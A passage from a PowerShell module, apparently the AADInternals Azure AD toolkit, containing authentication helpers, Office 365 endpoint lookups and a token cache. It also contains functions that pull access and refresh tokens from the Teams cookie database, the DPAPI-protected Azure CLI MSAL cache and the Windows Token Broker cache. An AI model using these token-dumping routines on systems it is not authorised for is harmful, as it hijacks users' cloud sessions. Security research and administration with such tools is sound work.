"client_id"=$ClientId "grant_type"="password" "username"=$Credentials.UserName "password"=$Credentials.GetNetworkCredential().Password "scope"="openid" } # Debug Write-Debug "AUTHENTICATION BODY: $($body | Out-String)" # Set the content type and call the Microsoft Online authentication API # Headers $headers = @{ "Content-Type" = "application/x-www-form-urlencoded" "User-Agent" = Get-UserAgent } try { $response=Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -Method POST -Body $body -Headers $headers } catch { Write-Verbose "ROPC failed, switching to interactive flow: $(($_.ErrorDetails.Message | convertfrom-json).error_description)" } } if($null -eq $response) { # Check the tenant if([string]::IsNullOrEmpty($Tenant)) { $Tenant = "common" } # Get the authorization code $authorizationCode = Get-AuthorizationCode -Resource $Resource -ClientId $ClientId -Tenant $Tenant -AMR $amr -RefreshTokenCredential $RefreshTokenCredential -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectURI if($authorizationCode) { if([string]::IsNullOrEmpty($RedirectURI)) { $RedirectURI = Get-AuthRedirectUrl -ClientId $ClientId -Resource $Resource } # Construct the body for auth code grant $body = @{ client_id = $ClientId grant_type = "authorization_code" code = $authorizationCode redirect_uri = $RedirectURI } # Headers $headers = @{ "Content-Type" = "application/x-www-form-urlencoded" "User-Agent" = Get-UserAgent } $response = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/$Tenant/oauth2/token" -Method POST -Body $body -Headers $headers } } # return return $response } } ## GENERAL ADMIN API FUNCTIONS # Gets Office 365 instance names (used when getting ip addresses) function Get-EndpointInstances { <# .SYNOPSIS Get Office 365 endpoint instances .DESCRIPTION Get Office 365 endpoint instances .Example PS C:\>Get-AADIntEndpointInstances instance latest -------- ------ Worldwide 2018100100 USGovDoD 2018100100 USGovGCCHigh 2018100100 China 2018100100 Germany 2018100100 #> [cmdletbinding()] Param() Process { $clientrequestid=(New-Guid).ToString(); Invoke-RestMethod -UseBasicParsing -Uri "https://endpoints.office.com/version?clientrequestid=$clientrequestid" } } # Gets Office 365 ip addresses for specific instance function Get-EndpointIps { <# .SYNOPSIS Get Office 365 endpoint ips and urls .DESCRIPTION Get Office 365 endpoint ips and urls .Parameter Instance The instance which ips and urls are returned. Defaults to WorldWide. .Example PS C:\>Get-AADIntEndpointIps id : 1 serviceArea : Exchange serviceAreaDisplayName : Exchange Online urls : {outlook.office.com, outlook.office365.com} ips : {13.107.6.152/31, 13.107.9.152/31, 13.107.18.10/31, 13.107.19.10/31...} tcpPorts : 80,443 expressRoute : True category : Optimize required : True id : 2 serviceArea : Exchange serviceAreaDisplayName : Exchange Online urls : {smtp.office365.com} ips : {13.107.6.152/31, 13.107.9.152/31, 13.107.18.10/31, 13.107.19.10/31...} tcpPorts : 587 expressRoute : True category : Allow required : True .Example PS C:\>Get-AADIntEndpointIps -Instance Germany id : 1 serviceArea : Exchange serviceAreaDisplayName : Exchange Online urls : {outlook.office.de} ips : {51.4.64.0/23, 51.5.64.0/23} tcpPorts : 80,443 expressRoute : False category : Optimize required : True id : 2 serviceArea : Exchange serviceAreaDisplayName : Exchange Online urls : {r1.res.office365.com} tcpPorts : 80,443 expressRoute : False category : Default required : True #> [cmdletbinding()] Param( [Parameter()] [ValidateSet('Worldwide','USGovDoD','USGovGCCHigh','China','Germany')] [String]$Instance="Worldwide" ) Process { $clientrequestid=(New-Guid).ToString(); Invoke-RestMethod -UseBasicParsing -Uri ("https://endpoints.office.com/endpoints/$Instance"+"?clientrequestid=$clientrequestid") } } # Gets username from authorization header # Apr 4th 2019 function Get-UserNameFromAuthHeader { Param( [Parameter(Mandatory=$True)] [String]$Auth ) Process { $type = $Auth.Split(" ")[0] $data = $Auth.Split(" ")[1] if($type -eq "Basic") { ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($data))).Split(":")[0] } else { (Read-Accesstoken -AccessToken $data).upn } } } # Creates authorization header from Credentials or AccessToken # Apr 4th 2019 function Create-AuthorizationHeader { Param( [Parameter()] [System.Management.Automation.PSCredential]$Credentials, [Parameter()] [String]$AccessToken, [Parameter()] [String]$Resource, [Parameter()] [String]$ClientId ) Process { if($Credentials -ne $null) { $userName = $Credentials.UserName $password = $Credentials.GetNetworkCredential().Password $auth = "Basic $([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$($userName):$($password)")))" } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource $Resource -ClientId $ClientId $auth = "Bearer $AccessToken" } return $auth } } # Gets Microsoft online services' public keys # May 18th 2020 function Get-APIKeys { [cmdletbinding()] Param( [Parameter()] [String]$KeyId ) Process { $keys=Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/discovery/keys" if($KeyId) { $keys.keys | Where-Object -Property kid -eq $KeyId | Select-Object -ExpandProperty x5c } else { $keys.keys } } } # Gets the AADInt credentials cache # Jun 14th 2020 function Get-Cache { <# .SYNOPSIS Dumps AADInternals credentials cache .DESCRIPTION Dumps AADInternals credentials cache .EXAMPLE Get-AADIntCache | Format-Table Name ClientId Audience Tenant IsExpired HasRefreshToken ---- -------- -------- ------ --------- --------------- [email protected] 1b730954-1685-4b74-9bfd-dac224a7b894 https://graph.windows.net 82205ae4-4c4e-4db5-890c-cb5e5a98d7a3 False True [email protected] 1b730954-1685-4b74-9bfd-dac224a7b894 https://management.core.windows.net/ 82205ae4-4c4e-4db5-890c-cb5e5a98d7a3 False True #> [cmdletbinding()] Param() Process { $cacheKeys = $script:tokens.keys # Loop through the cache elements foreach($key in $cacheKeys) { $accessToken=$script:tokens[$key] if([string]::IsNullOrEmpty($accessToken)) { Write-Warning "Access token with key ""$key"" not found!" return } $parsedToken = Read-Accesstoken -AccessToken $accessToken if($parsedToken.xms_mirid) { # Managed identity $name = $parsedToken.xms_mirid.Substring($parsedToken.xms_mirid.LastIndexOf("/")+1) } else { $name = $parsedToken.unique_name } $attributes = [ordered]@{ "Name" = $name "ClientId" = $parsedToken.appid "Audience" = $parsedToken.aud "Tenant" = $parsedToken.tid "IsExpired" = Is-AccessTokenExpired -AccessToken $accessToken "HasRefreshToken" = $script:refresh_tokens.Contains($key) "AuthMethods" = $parsedToken.amr "Device" = $parsedToken.deviceid } New-Object psobject -Property $attributes } } } # Clears the AADInt credentials cache # Jun 14th 2020 function Clear-Cache { <# .SYNOPSIS Clears AADInternals credentials cache .DESCRIPTION Clears AADInternals credentials cache .EXAMPLE Clear-AADIntCache #> [cmdletbinding()] Param() Process { $script:tokens = @{} $script:refresh_tokens = @{} } } # Adds an access and refresh token to cache # Aug 30th 2022 function Add-AccessTokenToCache { <# .SYNOPSIS Adds the given access token to AADInternals credentials cache .DESCRIPTION Adds the given access token to AADInternals credentials cache .PARAMETER AccessToken The access token to add .PARAMETER RefreshToken The refresh token to add .EXAMPLE Add-AADIntAccessTokenToCache -AccessToken "eyJ0eXAiOiJKV..." Name ClientId Audience Tenant IsExpired HasRefreshToken ---- -------- -------- ------ --------- --------------- [email protected] 1b730954-1685-4b74-9bfd-dac224a7b894 https://graph.windows.net 82205ae4-4c4e-4db5-890c-cb5e5a98d7a3 False False .EXAMPLE Add-AADIntAccessTokenToCache -AccessToken "eyJ0eXAiOiJKV..." -RefreshToken "0.AXkAnZT_xZYmaEueEwVfGe..." Name ClientId Audience Tenant IsExpired HasRefreshToken ---- -------- -------- ------ --------- --------------- [email protected] 1b730954-1685-4b74-9bfd-dac224a7b894 https://graph.windows.net 82205ae4-4c4e-4db5-890c-cb5e5a98d7a3 False True #> [cmdletbinding()] Param( [Parameter(Mandatory=$True,ValueFromPipeline)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$RefreshToken, [Parameter(Mandatory=$False)] [boolean]$ShowCache = $true ) Process { # Parse the token $parsedToken = Read-Accesstoken -AccessToken $accessToken $clientId = $parsedToken.appid $resource = $parsedToken.aud.TrimEnd("/") # Add to cache $Script:tokens["$clientId-$resource"] = $AccessToken if(![string]::IsNullOrEmpty($RefreshToken)) { Add-RefreshTokenToCache -ClientId $clientId -Resource $resource -RefreshToken $RefreshToken } # Dump the cache if($ShowCache) { Get-Cache } } } # Adds refresh token to cache # Apr 25th 2023 function Add-RefreshTokenToCache { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$RefreshToken, [Parameter(Mandatory=$True)] [String]$ClientId, [Parameter(Mandatory=$True)] [String]$Resource ) Process { # Strip the trailing slash $Resource = $Resource.TrimEnd("/") $Script:refresh_tokens["$ClientId-$Resource"] = $RefreshToken } } # Gets other domains of the given tenant # Jun 15th 2020 function Get-TenantDomains { <# .SYNOPSIS Gets other domains from the tenant of the given domain .DESCRIPTION Uses Exchange Online autodiscover service to retrive other domains from the tenant of the given domain. The given domain SHOULD be Managed, federated domains are not always found for some reason. If nothing is found, try to use <domain>.onmicrosoft.com .Example Get-AADIntTenantDomains -Domain company.com company.com company.fi company.co.uk company.onmicrosoft.com company.mail.onmicrosoft.com #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Domain, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { # Get Tenant Region subscope from Open ID configuration if not provided if([string]::IsNullOrEmpty($SubScope)) { $SubScope = Get-TenantSubscope -Domain $Domain } # Use the correct url switch($SubScope) { "DOD" # DoD { $uri = "https://autodiscover-s-dod.office365.us/autodiscover/autodiscover.svc" } "DODCON" # GCC-High { $uri = "https://autodiscover-s.office365.us/autodiscover/autodiscover.svc" } default # Commercial/GCC { $uri = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" } } # Create the body $body=@" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:exm="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:ext="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Header> <a:Action soap:mustUnderstand="1">http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation</a:Action> <a:To soap:mustUnderstand="1">$uri</a:To> <a:ReplyTo> <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address> </a:ReplyTo> </soap:Header> <soap:Body> <GetFederationInformationRequestMessage xmlns="http://schemas.microsoft.com/exchange/2010/Autodiscover"> <Request> <Domain>$Domain</Domain> </Request> </GetFederationInformationRequestMessage> </soap:Body> </soap:Envelope> "@ # Create the headers $headers=@{ "Content-Type" = "text/xml; charset=utf-8" "SOAPAction" = '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"' "User-Agent" = Get-UserAgent } # Invoke $response = Invoke-RestMethod -UseBasicParsing -Method Post -uri $uri -Body $body -Headers $headers # Return $domains = $response.Envelope.body.GetFederationInformationResponseMessage.response.Domains.Domain if($Domain -notin $domains) { $domains += $Domain } $domains | Sort-Object } } # Gets the auth_redirect url for the given client and resource # Aug 12th 2021 function Get-AuthRedirectUrl { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$ClientId, [Parameter(Mandatory=$True)] [String]$Resource ) Begin { $oobClients = @( "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Microsoft Office "29d9ed98-a469-4536-ade2-f981bc1d605e" # Microsoft Authentication Broker ) } Process { # default $redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient" if($ClientId -eq "1fec8e78-bce4-4aaf-ab1b-5451cc387264") # Teams { $redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient" } elseif($ClientId -eq "9bc3ab49-b65d-410a-85ad-de819febfddc") # SPO { $redirect_uri = "https://oauth.spops.microsoft.com/" } elseif($ClientId -eq "c44b4083-3bb0-49c1-b47d-974e53cbdf3c") # Azure admin interface { $redirect_uri = "https://portal.azure.com/signin/index/?feature.prefetchtokens=true&feature.showservicehealthalerts=true&feature.usemsallogin=true" } elseif($ClientId -eq "0000000c-0000-0000-c000-000000000000") # Azure AD Account { $redirect_uri = "https://account.activedirectory.windowsazure.com/" } elseif($ClientId -eq "19db86c3-b2b9-44cc-b339-36da233a3be2") # My sign-ins { $redirect_uri = "https://mysignins.microsoft.com" } elseif($ClientId -eq "29d9ed98-a469-4536-ade2-f981bc1d605e" -and $Resource -ne "https://enrollment.manage.microsoft.com/") # Azure AD Join { $redirect_uri = "ms-aadj-redir://auth/drs" } elseif($ClientId -eq "0c1307d4-29d6-4389-a11c-5cbe7f65d7fa") # Azure Android App { $redirect_uri = "https://azureapp" } elseif($ClientId -eq "33be1cef-03fb-444b-8fd3-08ca1b4d803f") # OneDrive Web { $redirect_uri = "https://admin.onedrive.com/" } elseif($ClientId -eq "ab9b8c07-8f02-4f72-87fa-80105867a763") # OneDrive native client { $redirect_uri = "https://login.windows.net/common/oauth2/nativeclient" } elseif($ClientId -eq "3d5cffa9-04da-4657-8cab-c7f074657cad") # MS Commerce { $redirect_uri = "http://localhost/m365/commerce" } elseif($ClientId -eq "4990cffe-04e8-4e8b-808a-1175604b879f") # MS Partner - this flow doesn't work as expected :( { $redirect_uri = "https://partner.microsoft.com/aad/authPostGateway" } elseif($ClientId -eq "fb78d390-0c51-40cd-8e17-fdbfab77341b" -or # Microsoft Exchange REST API Based Powershell $ClientId -eq "fdd7719f-d61e-4592-b501-793734eb8a0e" -or # SharePoint Migration Tool $ClientId -eq "a0c73c16-a7e3-4564-9a95-2bdf47383716") # EXO PS { $redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient" } elseif($ClientId -eq "3b511579-5e00-46e1-a89e-a6f0870e2f5a") { $redirect_uri = "https://windows365.microsoft.com/signin-oidc" } elseif($ClientId -eq "08e18876-6177-487e-b8b5-cf950c1e598c") # SharePoint Online Web Client Extensibility { $redirect_uri = "https://*-admin.sharepoint.com/_forms/spfxsinglesignon.aspx" } elseif($ClientId -eq "29d9ed98-a469-4536-ade2-f981bc1d605e" -and $Resource -ne "https://enrollment.manage.microsoft.com/") # AADJoin { $auth_redirect="ms-aadj-redir://auth/drs" } elseif($ClientId -eq "dd762716-544d-4aeb-a526-687b73838a22") # WHfB? { $redirect_uri = "ms-appx-web://microsoft.aad.brokerplugin/dd762716-544d-4aeb-a526-687b73838a22" } elseif($ClientId -eq "4765445b-32c6-49b0-83e6-1d93765276ca") # Office Web UI { $redirect_uri = "https://www.office.com/landingv2" } elseif($oobClients -contains $ClientId) { $redirect_uri = "urn:ietf:wg:oauth:2.0:oob" } return $redirect_uri } } # Exports Teams access tokens from the Teams cache # Sep 26th 2022 function Export-TeamsTokens { <# .SYNOPSIS Exports Teams tokens from the provided Cookie database, or from current user's local database. .DESCRIPTION Exports Teams tokens from the provided Cookie database, or from current user's local database. The Teams Cookies database is SQLite database. .PARAMETER CookieDatabase Full name of the Teams cookie database. If not provided, uses current user's database. .PARAMETER AddToCache Adds the tokens to AADInternals token cache .PARAMETER CopyToClipboard Copies the tokens to clipboard as JSON string .EXAMPLE PS\:>Export-AADIntTeamsTokens User: [email protected] Name Value ---- ----- office_access_token eyJ0eXAiOiJKV1QiLCJub25jZSI6InlsUjJWRmp4SWFqeVVqeklZa3R... skypetoken_asm eyJhbGciOiJSUzI1NiIsImtpZCI6IjEwNiIsIng1dCI6Im9QMWFxQnl... authtoken eyJ0eXAiOiJKV1QiLCJub25jZSI6InpsUFY2bnRCUDR5NTFLTkNQR2l... SSOAUTHCOOKIE eyJ0eXAiOiJKV1QiLCJub25jZSI6Ik5sbHJiaFlzYl9rVnU3VzVSa01... .EXAMPLE PS\:>Export-AADIntTeamsTokens -CookieDatabase C:\Cookies User: [email protected] Name Value ---- ----- office_access_token eyJ0eXAiOiJKV1QiLCJub25jZSI6InlsUjJWRmp4SWFqeVVqeklZa3R... skypetoken_asm eyJhbGciOiJSUzI1NiIsImtpZCI6IjEwNiIsIng1dCI6Im9QMWFxQnl... authtoken eyJ0eXAiOiJKV1QiLCJub25jZSI6InpsUFY2bnRCUDR5NTFLTkNQR2l... SSOAUTHCOOKIE eyJ0eXAiOiJKV1QiLCJub25jZSI6Ik5sbHJiaFlzYl9rVnU3VzVSa01... .EXAMPLE PS\:>Export-AADIntTeamsTokens -AddToCache User: [email protected] 3 access tokens added to cache .EXAMPLE PS\:>Export-AADIntTeamsTokens -AddToCache -CopyToClipboard User: [email protected] 3 access tokens added to cache 4 access tokens copied to clipboard .EXAMPLE PS\:>Export-AADIntTeamsTokens -CopyToClipboard User: [email protected] 4 access tokens copied to clipboard #> [cmdletbinding()] Param( [switch]$AddToCache, [switch]$CopyToClipboard, [String]$CookieDatabase ) Begin { } Process { # Set the path if database was not provided, depends on the OS we are running. if([string]::IsNullOrEmpty($CookieDatabase)) { switch([system.environment]::OSversion.Platform) { ("Linux") { $CookieDatabase="~/.config/Microsoft/Microsoft Teams/Cookies" break } ("Unix") { $CookieDatabase="~/Library/Application Support/Microsoft/Teams/Cookies" break } default # Defaults to Windows { $CookieDatabase="$env:APPDATA\Microsoft\Teams\Cookies" break } } } # Test whether the cookie database exists if(-not (Test-Path $CookieDatabase)) { Throw "The Cookie database does not exist: $CookieDatabase" } try { # Parse the database Write-Verbose "Loading and parsing database $CookieDataBase" $parsedDb = Parse-SQLiteDatabase -Data (Get-BinaryContent -Path $CookieDatabase) Write-Verbose "Looking for tokens" $access_tokens = [ordered]@{} foreach($page in $parsedDb.Pages) { # Cookies data is stored on Table Leaf if($page.PageType -eq "Table Leaf" -and $page.CellsOnPage -gt 0) { # Which has exactly 19 columns (the last is empty) if($page.Cells[0].Payload.Count -ge 19) { Write-Verbose "Found Table Leaf page with $($page.CellsOnPage) cells" <# Columns - updated Oct 20th 2022 0: creation_utc 1: top_frame_site_key 2: host_key 3: name 4: value 5: encrypted_value 6: path 7: expires_utc 8: is_secure 9: is_httponly 10: last_access_utc 12: has_expires 13: is_persistent 14: priority 15: encrypted_value 16: samesite 17: source_scheme 18: source_port 19: is_same_party #> foreach($cell in $page.Cells) { $name = $cell.Payload[3] $value = $cell.Payload[4] if($name -like "*token*" -or $name -eq "SSOAUTHCOOKIE") { # Strip the Bearer= and query parameters from the "authToken" if($name -eq "authToken") { $value = [System.Net.WebUtility]::UrlDecode($value).Split("=")[1].Split("&")[0] $userName = (Read-AccessToken -AccessToken $value).upn } # Add access tokens to cache as needed if($AddToCache -and $name -ne "skypetoken_asm") { Add-AccessTokenToCache -AccessToken $value | Out-Null $cached += 1 } $access_tokens[$name] = $value } } } } } # Print out the username Write-Host "User: $userName" # Print count cached tokens if($AddToCache) { Write-Host "$cached access tokens added to cache" } # Copy tokens to clipboard and print the count if($CopyToClipboard) { $access_tokens | ConvertTo-Json | Set-Clipboard Write-Host "$($access_tokens.Count) access tokens copied to clipboard" } # Return if(-not $AddToCache -and -not $CopyToClipboard) { return $access_tokens } } catch { Throw $_ } } } # Exports Azure CLI access tokens from the msal_token_cache.bin cache # Sep 29th 2022 function Export-AzureCliTokens { <# .SYNOPSIS Exports Azure CLI access tokens from the msal_token_cache.bin cache. .DESCRIPTION Exports Azure CLI access tokens from the msal_token_cache.bin cache. msal_token_cache.bin is a json file protected with DPAPI in LocalUser context. .PARAMETER MSALCache Full name of the MSAL token cache. If not provided, uses msal_token_cache.bin from current user's profile under .Azure .PARAMETER AddToCache Adds the tokens to AADInternals token cache .PARAMETER CopyToClipboard Copies the tokens to clipboard as JSON string .EXAMPLE PS\:>Export-AADIntAzureCliTokens Users: [email protected],[email protected] UserName access_token -------- ------------ [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... .EXAMPLE PS\:>Export-AADIntAzureCliTokens -MSALCache "C:\Users\user\.Azure\msal_token_cache.bin.old" Users: [email protected],[email protected] UserName access_token -------- ------------ [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... .EXAMPLE PS\:>Export-AADIntAzureCliTokens -AddToCache Users: [email protected],[email protected] 4 access tokens added to cache .EXAMPLE PS\:>Export-AADIntAzureCliTokens -AddToCache -CopyToClipboard Users: [email protected],[email protected] 4 access tokens added to cache 4 access tokens copied to clipboard .EXAMPLE PS\:>Export-AADIntAzureCliTokens -CopyToClipboard Users: [email protected],[email protected] 4 access tokens copied to clipboard #> [cmdletbinding()] Param( [switch]$AddToCache, [switch]$CopyToClipboard, [switch]$DPAPI, [String]$MSALCache ) Begin { # Load system.security assembly Add-Type -AssemblyName System.Security } Process { # Parses the object definition string # Sep 29th 2022 function Parse-ObjectDefinition { Param( [Parameter(Mandatory=$True)] [String]$Definition ) Process { # Get the array $Definition = $Definition.Substring($Definition.IndexOf("@")) # Get the string between @{ and } $Definition = $Definition.Substring(2,$Definition.Length-3) $attributes = [ordered]@{} if(-not [string]::IsNullOrEmpty($Definition)) { # Split to array of name=value pairs $properties = $Definition.Split("; ") # Loop through the properties foreach($property in $properties) { # Split & add to attributes $parts = $property.Split("=") if(-not [string]::IsNullOrEmpty($parts[0])) { $attributes[$parts[0]] = $parts[1] } } } return New-Object -TypeName psobject -Property $attributes } } # Set the path if database was not provided, depends on the OS we are running. if([string]::IsNullOrEmpty($MSALCache)) { switch([system.environment]::OSversion.Platform) { ("Linux") { $MSALCache="~/.azure/msal_token_cache.json" break } ("Unix") { $MSALCache="~/.azure/msal_token_cache.json" break } default # Defaults to Windows { $MSALCache="$env:HOMEDRIVE$env:HOMEPATH\.Azure\msal_token_cache.bin" $DPAPI = $true break } } } # Test whether the MSAL cache exists if(-not (Test-Path $MSALCache)) { Throw "The MSAL token cache does not exist: $MSALCache" } try { Write-Verbose "Loading and parsing cache $MSALCache" # Unprotect the token cache if($DPAPI) { $decTokens = Get-BinaryContent $MSALCache $tokens = [text.encoding]::UTF8.GetString([Security.Cryptography.ProtectedData]::Unprotect($decTokens,$null,'CurrentUser')) } else { $tokens = Get-Content $MSALCache -Encoding UTF8 } $objTokens = $tokens | ConvertFrom-Json $users = [ordered]@{} foreach($account in ($objtokens.Account | Get-Member -MemberType NoteProperty)) { # Need to parse the definition manually :( $properties = Parse-ObjectDefinition -Definition $account.Definition $users[$properties.home_account_id] = $properties.username } Write-Verbose "Found tokens for $($users.Count) users" Write-Verbose "Looking for tokens" $access_tokens = @() foreach($access_token in ($objtokens.AccessToken | Get-Member -MemberType NoteProperty)) { Write-Verbose "Parsing access token $($access_token.name)" # Need to parse the definition manually :( $at_properties = Parse-ObjectDefinition -Definition $access_token.Definition # Get the refresh token and parse properties if found $rt_properties = $null $tenantId = $at_properties.home_account_id.Split(".")[1] $rt_name = $access_token.name.Replace("accesstoken","refreshtoken").Replace("-organizations-","--").Replace("-$tenantId-","--") $refresh_token = $objtokens.RefreshToken | Get-Member -Name $rt_name if($refresh_token) { Write-Verbose "Parsing refresh token $rt_name" $rt_properties = Parse-ObjectDefinition -Definition $refresh_token.Definition } # Form the return object $attributes = [ordered]@{ "UserName" = $users[$at_properties.home_account_id] "access_token" = $at_properties.secret "refresh_token" = $rt_properties.secret } if($AddToCache) { Add-AccessTokenToCache -AccessToken $at_properties.secret -RefreshToken $rt_properties.secret | Out-Null } $access_tokens += New-Object psobject -Property $attributes } # Print out the usernames Write-Host "Users: $($users.Values -Join ",")" # Print count cached tokens if($AddToCache) { Write-Host "$($access_tokens.Count) access tokens added to cache." Write-Host "Note: AADInternals only stores tokens for one user! The token of last added user is used." } # Copy tokens to clipboard and print the count if($CopyToClipboard) { $access_tokens | ConvertTo-Json | Set-Clipboard Write-Host "$($access_tokens.Count) access tokens copied to clipboard" } # Return if(-not $AddToCache -and -not $CopyToClipboard) { return $access_tokens } } catch { Throw $_ } } } # Exports access tokens from the Token Broker cache # Oct 20th 2022 function Export-TokenBrokerTokens { <# .SYNOPSIS Exports access tokens from the Token Broker cache. .DESCRIPTION Exports access tokens from the Token Broker cache. .PARAMETER AddToCache Adds the tokens to AADInternals token cache .PARAMETER CopyToClipboard Copies the tokens to clipboard as JSON string .EXAMPLE PS\:>Export-AADIntTokenBrokerTokens Users: [email protected],[email protected] UserName access_token -------- ------------ [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... [email protected] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx... .EXAMPLE PS\:>Export-AADIntTokenBrokerTokens -AddToCache Users: [email protected],[email protected] 4 access tokens added to cache .EXAMPLE PS\:>Export-AADIntTokenBrokerTokens -AddToCache -CopyToClipboard Users: [email protected],[email protected] 4 access tokens added to cache 4 access tokens copied to clipboard .EXAMPLE PS\:>Export-AADIntTokenBrokerTokens -CopyToClipboard Users: [email protected],[email protected] 4 access tokens copied to clipboard #> [cmdletbinding()] Param( [switch]$AddToCache, [switch]$CopyToClipboard ) Begin { # Load system.security assembly Add-Type -AssemblyName System.Security } Process { # Test whether the Token Broker cache exists $TBRES = "$env:LOCALAPPDATA\Microsoft\TokenBroker\Cache\*.tbres" if(-not (Test-Path $TBRES)) { Throw "The Token Broker cache does not exist: $TBRES" } $access_tokens = @() $users = [ordered]@{} # Get the cache files $files = Get-Item -Path $TBRES foreach($file in $files) { try { Write-Verbose "Parsing $file" $data = Get-BinaryContent -Path $file.FullName $content = Parse-TBRES -Data $data if($content.WTRes_Token -ne $null -and $content.WTRes_Token -ne "No Token") { $parsedToken = Read-AccessToken -AccessToken $content.WTRes_Token # Could be JWE which can't be parsed if($parsedToken) { $users[$parsedToken.oid] = $parsedToken.unique_name # Form the return object $attributes = [ordered]@{ "UserName" = $parsedToken.unique_name "access_token" = $content.WTRes_Token } if($AddToCache) { Add-AccessTokenToCache -AccessToken $content.WTRes_Token | Out-Null } $access_tokens += [PSCustomObject] $attributes } } } catch { Write-Verbose "Got exception: $_" } } Write-Verbose "Found tokens for $($users.Count) users" # Print out the usernames if($users.Count -gt 0) { Write-Host "Users: $($users.Values -Join ",")" } else { Write-Host "No tokens found." } # Print count cached tokens if($AddToCache) { Write-Host "$($access_tokens.Count) access tokens added to cache." Write-Host "Note: AADInternals only stores tokens for one user! The token of last added user is used." } # Copy tokens to clipboard and print the count if($CopyToClipboard) { $access_tokens | ConvertTo-Json | Set-Clipboard Write-Host "$($access_tokens.Count) access tokens copied to clipboard" } # Return if(-not $AddToCache -and -not $CopyToClipboard) { return $access_tokens } } } # Gets RST token # Mar 3rd 2023 function Get-RSTToken { [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$True)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='UserNameAndPassword',Mandatory=$True)] [String]$UserName, [Parameter(ParameterSetName='UserNameAndPassword',Mandatory=$False)] [String]$Password, [Parameter(Mandatory=$True)] [String]$EndpointAddress, [Parameter(Mandatory=$True)] [String]$Url ) Process { If([String]::IsNullOrEmpty($UserName)) { $UserName = $Credentials.UserName $Password = $Credentials.GetNetworkCredential().password } $requestId = (New-Guid).ToString() $now = Get-Date $created = $now.toUniversalTime().toString("o") $expires = $now.addMinutes(10).toUniversalTime().toString("o") $body=@" <?xml version='1.0' encoding='UTF-8'?> <s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope' xmlns:wsse='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' xmlns:saml='urn:oasis:names:tc:SAML:1.0:assertion' xmlns:wsp='http://schemas.xmlsoap.org/ws/2004/09/policy' xmlns:wsu='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:wssc='http://schemas.xmlsoap.org/ws/2005/02/sc' xmlns:wst='http://schemas.xmlsoap.org/ws/2005/02/trust' xmlns:ic='http://schemas.xmlsoap.org/ws/2005/05/identity'> <s:Header> <wsa:Action s:mustUnderstand='1'>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action> <wsa:To s:mustUnderstand='1'>$url</wsa:To> <wsa:MessageID>urn:uuid:$((New-Guid).ToString())</wsa:MessageID> <wsse:Security s:mustUnderstand="1"> <wsu:Timestamp wsu:Id="_0"> <wsu:Created>$created</wsu:Created> 